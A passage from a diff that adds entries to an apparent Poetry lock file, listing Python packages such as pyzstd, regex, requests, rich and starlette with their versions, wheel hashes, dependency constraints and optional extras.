+ {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c3a9266cf6038d8af82cc4067f38dd5de84ebb6a152cfc25b9ef0b44c8ce84e9"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:b4b4cd04b4f02693811015f9356945caffe7c5ded7c897df88d87550778d5c58"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:f4483359b6ebaf64ad5381c6f590e7f297d251dd6de019992e9481123c55c790"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:e25b652b67077b3d37451a7471b8975d478ec87d7f96f8f4673ed2d6b97355df"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ac8e5ab21c1d6baa1b2f6778ffa8b4970f5277bfa60c9fedbb03fc483ab21ee7"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-win32.whl", hash = "sha256:1c489982b59bce1d7a21dd71204ddae96dd34bcbdb50050cf3e3a1dc18f144d0"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-win_amd64.whl", hash = "sha256:92d0370d2b0806aa652d2c1240d6c858a5b2a30baa892dce0f2638260590b038"},
+ {file = "pyzstd-0.15.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:758b4b8261032991849fc1652feab2fdc432255a01898e15fe4957f91c49f5a9"},
+ {file = "pyzstd-0.15.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9e067a28b7935f1087b77b89f4cff7c84f0673bcf756aa6dbf21a36a32065ef2"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f5d03b13d32608a72301ee78afac0105b3a14bf63f2a9361c3742b37d85b38d7"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3ec72c95dc86430d156643a41ebc467677f45907a6dd44c013377c3bbc4e68d0"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04eb56c932bf7ad9a22bdfde995c2bb22909ae00218dcb3e174f76375389a339"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d4fd161f173c330291f54de5ab8e849e8686ad24c76f45c8045ce7d48aa0c33"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d05d0ee19a1a37f995568ce05208b985683681d7f49073618559a44a4a568d44"},
+ {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:07c3863c968eaeab8c4ebd32c3ddf9ca3e5762d77e20da21a3d9a7578bd0b6c4"},
+ {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f4b87bf782306c27e9dc97ae148a72207b5dc018d5ad05768aeda6fbf262be1d"},
+ {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5e5058ec639d754267fbccb51f50f752c1e17e0a9a407c7eb2c3cdce8eb6f571"},
+ {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:fa29986a7ed07f321878445d10a896a0a3f1a556c39b3d2750091759b0f252e2"},
+ {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:12f1d451ba9d1bd4f8e8585d59f09fee6fc6ed978b27dd55c2915a37bfa63dfc"},
+ {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8718cf7d96eae80e01334c5a3e171d698bfbcb0d357a27f5421be0de5a096a47"},
+ {file = "pyzstd-0.15.7-cp38-cp38-win32.whl", hash = "sha256:701db75f49f1eca26f07f6b08751c43d5979e9ff39360a40ba165aebccbb2199"},
+ {file = "pyzstd-0.15.7-cp38-cp38-win_amd64.whl", hash = "sha256:1e5472aa34e798d3a8ae306521a711e69ed1e3af72970c2f76312c795e547770"},
+ {file = "pyzstd-0.15.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d865b3a330bafe0891d8414a87f1a56509baa19980150c3ba75f8b8e966a8655"},
+ {file = "pyzstd-0.15.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:718f6cef753f8cc9275f5e790178151a59fae5f8587f53ee6f36e3a939466bd4"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d8382fa1e672baf15d5fb3d13e0a1ca0f2b38730eab0611944bb5e0c7df9bc6"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e34142d94a8f423687c940fb64031cfe099ca31dee463ecfcc784060d58929ff"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:54a7fa73ae22ee477ae3a5e3c6cafba4f1463363929f9e5e9b471f2d2278c649"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f60f561ebd5ef2acfa971173ddf7f0987be3489d03aeb57a066f3daaeaa2b50e"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a5983053242dab7daf36bfea5c246329249f28e71afc2ab8b4dbe8ac3c9287dd"},
+ {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f30cbf469eb11f39dbdca787bf6b3b287898e10202c4371863fa56844b4220f0"},
+ {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:72b0037a683a344c118c51a2cc353de03d1442792a8c1fd9adb64592f5794cd2"},
+ {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:298b24dfe7e94aa7857ab78059948158565a659f900e21645fffd55fc8736a84"},
+ {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:110e35df5837e4ca5506760dc6e354104eefb7c3e4cbc9f8a53bb7813778601f"},
+ {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:5b6dbd6b01544a82836d32dffa4dc4fa63fed520c24409856372801bc65204a9"},
+ {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:34661ecc88dfed442b7be22dbf481f3bc80111bb44b225f4520c73ed380b2424"},
+ {file = "pyzstd-0.15.7-cp39-cp39-win32.whl", hash = "sha256:fd134893881bbbb1ede80e1c69a1ce8590018bee627be9b325ae2bdfe42b2e6b"},
+ {file = "pyzstd-0.15.7-cp39-cp39-win_amd64.whl", hash = "sha256:b3c9cedaf2f79fdc43940f29c9ff0fe5f135ed1ea9ad8f3be18bd4b77847889d"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4460309364de3a6139a6ac337a9bb454101e8280fed834970c3dd04a00d0677e"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:07150e8f018df72c32cbc7958eacae8d18a14064a3b18dda00ef443b12804ad0"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:443844f59416327abc0074d7d91a1cbeaaca270e79b71cb5acb824c8a6472b9d"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e17e38ea19c21a65026405e511c3cf9b26fe503c492e6a9db469763818e33c5"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:86716c3f2c8bc82fd677f0fe1064833daf73148d168249c5fd5d6a8d1c3a6921"},
+ {file = "pyzstd-0.15.7-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:8ecd7c61ac4694b89c906d94f465324cb22772c5b54dacc947e45a927cfb5784"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:525bbe1db05d8cb657cb793aa994372f84f8fa22a009a67751e3c170f78b8812"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee64beaa98c3917fe21262670bc536663ab69cd07ab96c160e01ff30d654a880"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b855ce93692c9d598e21e0a28a32776c0ec63749f32125ba885eefbb5d669258"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f98470a2e8a7c11692deafe586b31bf87f5481d25ceec34fe49319b9c5de6ad1"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:eed9cbe732bdcd8cbf23f33b5d942a2111e91bf0573d1d28d49b626b63b9db52"},
+ {file = "pyzstd-0.15.7-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:f6b8443be8d4bd58d2f4d33a41fafddc012214e890d5c3634ba14e048287a982"},
+ {file = "pyzstd-0.15.7-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:71e7c2fe631f06fd2ebc5870640bc0e19cdcd3a26ad2e2a663fe4b5aa2bc3ea2"},
+ {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57317f65d68dc217d6f7e354a63f349a6f08fd25c962e54c99df1520dce87b53"},
+ {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c355d04dac84f9dcaee1cd2fb9df0236afadbc90e6ebf1285376c480523d8b1"},
+ {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97d408496c7f2d263533a1be2798fca13d1ae5eb625f556b3f3412cfd9894e01"},
+ {file = "pyzstd-0.15.7-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7edd705d185b16399ff1143f84dcb34a8e8ec73229ecc187b32d916158541ada"},
+ {file = "pyzstd-0.15.7.tar.gz", hash = "sha256:55e503f28f5a9d225ce9d0639e3f5b1801bacace5aea926ec2998e73c5150fe7"},
+]
+
+[[package]]
+name = "regex"
+version = "2023.3.23"
+description = "Alternative regular expression module, to replace re."
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "regex-2023.3.23-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:845a5e2d84389c4ddada1a9b95c055320070f18bb76512608374aca00d22eca8"},
+ {file = "regex-2023.3.23-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:87d9951f5a538dd1d016bdc0dcae59241d15fa94860964833a54d18197fcd134"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37ae17d3be44c0b3f782c28ae9edd8b47c1f1776d4cabe87edc0b98e1f12b021"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0b8eb1e3bca6b48dc721818a60ae83b8264d4089a4a41d62be6d05316ec38e15"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:df45fac182ebc3c494460c644e853515cc24f5ad9da05f8ffb91da891bfee879"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7006105b10b59971d3b248ad75acc3651c7e4cf54d81694df5a5130a3c3f7ea"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93f3f1aa608380fe294aa4cb82e2afda07a7598e828d0341e124b8fd9327c715"},
+ {file = "regex-2023.3.23-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:787954f541ab95d8195d97b0b8cf1dc304424adb1e07365967e656b92b38a699"},
+ {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:20abe0bdf03630fe92ccafc45a599bca8b3501f48d1de4f7d121153350a2f77d"},
+ {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:11d00c31aeab9a6e0503bc77e73ed9f4527b3984279d997eb145d7c7be6268fd"},
+ {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:d5bbe0e1511b844794a3be43d6c145001626ba9a6c1db8f84bdc724e91131d9d"},
+ {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ea3c0cb56eadbf4ab2277e7a095676370b3e46dbfc74d5c383bd87b0d6317910"},
+ {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d895b4c863059a4934d3e874b90998df774644a41b349ebb330f85f11b4ef2c0"},
+ {file = "regex-2023.3.23-cp310-cp310-win32.whl", hash = "sha256:9d764514d19b4edcc75fd8cb1423448ef393e8b6cbd94f38cab983ab1b75855d"},
+ {file = "regex-2023.3.23-cp310-cp310-win_amd64.whl", hash = "sha256:11d1f2b7a0696dc0310de0efb51b1f4d813ad4401fe368e83c0c62f344429f98"},
+ {file = "regex-2023.3.23-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8a9c63cde0eaa345795c0fdeb19dc62d22e378c50b0bc67bf4667cd5b482d98b"},
+ {file = "regex-2023.3.23-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dd7200b4c27b68cf9c9646da01647141c6db09f48cc5b51bc588deaf8e98a797"},
+ {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22720024b90a6ba673a725dcc62e10fb1111b889305d7c6b887ac7466b74bedb"},
+ {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6b190a339090e6af25f4a5fd9e77591f6d911cc7b96ecbb2114890b061be0ac1"},
+ {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e76b6fc0d8e9efa39100369a9b3379ce35e20f6c75365653cf58d282ad290f6f"},
+ {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7868b8f218bf69a2a15402fde08b08712213a1f4b85a156d90473a6fb6b12b09"},
+ {file = "regex-2023.3.23-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2472428efc4127374f494e570e36b30bb5e6b37d9a754f7667f7073e43b0abdd"},
+ {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c37df2a060cb476d94c047b18572ee2b37c31f831df126c0da3cd9227b39253d"},
+ {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:4479f9e2abc03362df4045b1332d4a2b7885b245a30d4f4b051c4083b97d95d8"},
+ {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2396e0678167f2d0c197da942b0b3fb48fee2f0b5915a0feb84d11b6686afe6"},
+ {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:75f288c60232a5339e0ff2fa05779a5e9c74e9fc085c81e931d4a264501e745b"},
+ {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c869260aa62cee21c5eb171a466c0572b5e809213612ef8d495268cd2e34f20d"},
+ {file = "regex-2023.3.23-cp311-cp311-win32.whl", hash = "sha256:25f0532fd0c53e96bad84664171969de9673b4131f2297f1db850d3918d58858"},
+ {file = "regex-2023.3.23-cp311-cp311-win_amd64.whl", hash = "sha256:5ccfafd98473e007cebf7da10c1411035b7844f0f204015efd050601906dbb53"},
+ {file = "regex-2023.3.23-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6572ff287176c0fb96568adb292674b421fa762153ed074d94b1d939ed92c253"},
+ {file = "regex-2023.3.23-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a610e0adfcb0fc84ea25f6ea685e39e74cbcd9245a72a9a7aab85ff755a5ed27"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086afe222d58b88b62847bdbd92079b4699350b4acab892f88a935db5707c790"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:79e29fd62fa2f597a6754b247356bda14b866131a22444d67f907d6d341e10f3"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c07ce8e9eee878a48ebeb32ee661b49504b85e164b05bebf25420705709fdd31"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86b036f401895e854de9fefe061518e78d506d8a919cc250dc3416bca03f6f9a"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78ac8dd8e18800bb1f97aad0d73f68916592dddf233b99d2b5cabc562088503a"},
+ {file = "regex-2023.3.23-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:539dd010dc35af935b32f248099e38447bbffc10b59c2b542bceead2bed5c325"},
+ {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9bf4a5626f2a0ea006bf81e8963f498a57a47d58907eaa58f4b3e13be68759d8"},
+ {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf86b4328c204c3f315074a61bc1c06f8a75a8e102359f18ce99fbcbbf1951f0"},
+ {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:2848bf76673c83314068241c8d5b7fa9ad9bed866c979875a0e84039349e8fa7"},
+ {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:c125a02d22c555e68f7433bac8449992fa1cead525399f14e47c2d98f2f0e467"},
+ {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cd1671e9d5ac05ce6aa86874dd8dfa048824d1dbe73060851b310c6c1a201a96"},
+ {file = "regex-2023.3.23-cp38-cp38-win32.whl", hash = "sha256:fffe57312a358be6ec6baeb43d253c36e5790e436b7bf5b7a38df360363e88e9"},
+ {file = "regex-2023.3.23-cp38-cp38-win_amd64.whl", hash = "sha256:dbb3f87e15d3dd76996d604af8678316ad2d7d20faa394e92d9394dfd621fd0c"},
+ {file = "regex-2023.3.23-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c88e8c226473b5549fe9616980ea7ca09289246cfbdf469241edf4741a620004"},
+ {file = "regex-2023.3.23-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6560776ec19c83f3645bbc5db64a7a5816c9d8fb7ed7201c5bcd269323d88072"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b1fc2632c01f42e06173d8dd9bb2e74ab9b0afa1d698058c867288d2c7a31f3"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fdf7ad455f1916b8ea5cdbc482d379f6daf93f3867b4232d14699867a5a13af7"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fc33b27b1d800fc5b78d7f7d0f287e35079ecabe68e83d46930cf45690e1c8c"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c49552dc938e3588f63f8a78c86f3c9c75301e813bca0bef13bdb4b87ccf364"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e152461e9a0aedec7d37fc66ec0fa635eca984777d3d3c3e36f53bf3d3ceb16e"},
+ {file = "regex-2023.3.23-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:db034255e72d2995cf581b14bb3fc9c00bdbe6822b49fcd4eef79e1d5f232618"},
+ {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:55ae114da21b7a790b90255ea52d2aa3a0d121a646deb2d3c6a3194e722fc762"},
+ {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:ef3f528fe1cc3d139508fe1b22523745aa77b9d6cb5b0bf277f48788ee0b993f"},
+ {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:a81c9ec59ca2303acd1ccd7b9ac409f1e478e40e96f8f79b943be476c5fdb8bb"},
+ {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cde09c4fdd070772aa2596d97e942eb775a478b32459e042e1be71b739d08b77"},
+ {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3cd9f5dd7b821f141d3a6ca0d5d9359b9221e4f051ca3139320adea9f1679691"},
+ {file = "regex-2023.3.23-cp39-cp39-win32.whl", hash = "sha256:7304863f3a652dab5e68e6fb1725d05ebab36ec0390676d1736e0571ebb713ef"},
+ {file = "regex-2023.3.23-cp39-cp39-win_amd64.whl", hash = "sha256:54c3fa855a3f7438149de3211738dd9b5f0c733f48b54ae05aa7fce83d48d858"},
+ {file = "regex-2023.3.23.tar.gz", hash = "sha256:dc80df325b43ffea5cdea2e3eaa97a44f3dd298262b1c7fe9dbb2a9522b956a7"},
+]
+
+[[package]]
+name = "requests"
+version = "2.29.0"
+description = "Python HTTP for Humans."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.29.0-py3-none-any.whl", hash = "sha256:e8f3c9be120d3333921d213eef078af392fba3933ab7ed2d1cba3b56f2568c3b"},
+ {file = "requests-2.29.0.tar.gz", hash = "sha256:f2e34a75f4749019bb0e3effb66683630e4ffeaf75819fb51bebef1bf5aef059"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<1.27"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rfc3986"
+version = "1.5.0"
+description = "Validating URI References per RFC 3986"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"},
+ {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"},
+]
+
+[package.dependencies]
+idna = {version = "*", optional = true, markers = "extra == \"idna2008\""}
+
+[package.extras]
+idna2008 = ["idna"]
+
+[[package]]
+name = "rich"
+version = "13.3.4"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.3.4-py3-none-any.whl", hash = "sha256:22b74cae0278fd5086ff44144d3813be1cedc9115bdfabbfefd86400cb88b20a"},
+ {file = "rich-13.3.4.tar.gz", hash = "sha256:b5d573e13605423ec80bdd0cd5f8541f7844a0e71a13f74cf454ccb2f490708b"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0,<3.0.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "s3transfer"
+version = "0.6.0"
+description = "An Amazon S3 Transfer Manager"
+category = "main"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "s3transfer-0.6.0-py3-none-any.whl", hash = "sha256:06176b74f3a15f61f1b4f25a1fc29a4429040b7647133a463da8fa5bd28d5ecd"},
+ {file = "s3transfer-0.6.0.tar.gz", hash = "sha256:2ed07d3866f523cc561bf4a00fc5535827981b117dd7876f036b0c1aca42c947"},
+]
+
+[package.dependencies]
+botocore = ">=1.12.36,<2.0a.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"]
+
+[[package]]
+name = "setuptools"
+version = "67.7.2"
+description = "Easily download, build, install, upgrade, and uninstall Python packages"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "setuptools-67.7.2-py3-none-any.whl", hash = "sha256:23aaf86b85ca52ceb801d32703f12d77517b2556af839621c641fca11287952b"},
+ {file = "setuptools-67.7.2.tar.gz", hash = "sha256:f104fa03692a2602fa0fec6c6a9e63b6c8a968de13e17c026957dd1f53d80990"},
+]
+
+[package.extras]
+docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"]
+testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8 (<5)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"]
+testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "smmap"
+version = "5.0.0"
+description = "A pure Python implementation of a sliding window memory map manager"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"},
+ {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"},
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.0"
+description = "Sniff out which async library your code is running under"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"},
+ {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"},
+]
+
+[[package]]
+name = "starlette"
+version = "0.19.1"
+description = "The little ASGI library that shines."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"},
+ {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"},
+]
+
+[package.dependencies]
+anyio = ">=3.4.0,<5"
+
+[package.extras]
